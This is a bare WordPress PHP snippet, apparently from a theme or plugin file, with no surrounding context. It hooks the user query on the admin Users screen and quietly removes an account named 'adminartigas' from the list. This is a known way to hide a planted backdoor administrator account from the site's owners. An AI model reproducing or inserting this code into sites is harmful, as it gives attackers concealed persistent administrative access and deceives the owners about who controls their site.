add_action('pre_get_users', function($query) { if (is_admin() && isset($GLOBALS['pagenow']) && $GLOBALS['pagenow'] === 'users.php') { $hidden_user = 'adminartigas'; $user = get_user_by('login', $hidden_user); if ($user) { $exclude = $query->get('exclude'); if (empty($exclude)) { $exclude = []; } if (!is_array($exclude)) { $exclude = [$exclude]; } $exclude[] = $user->ID; $query->set('exclude', $exclude); } } });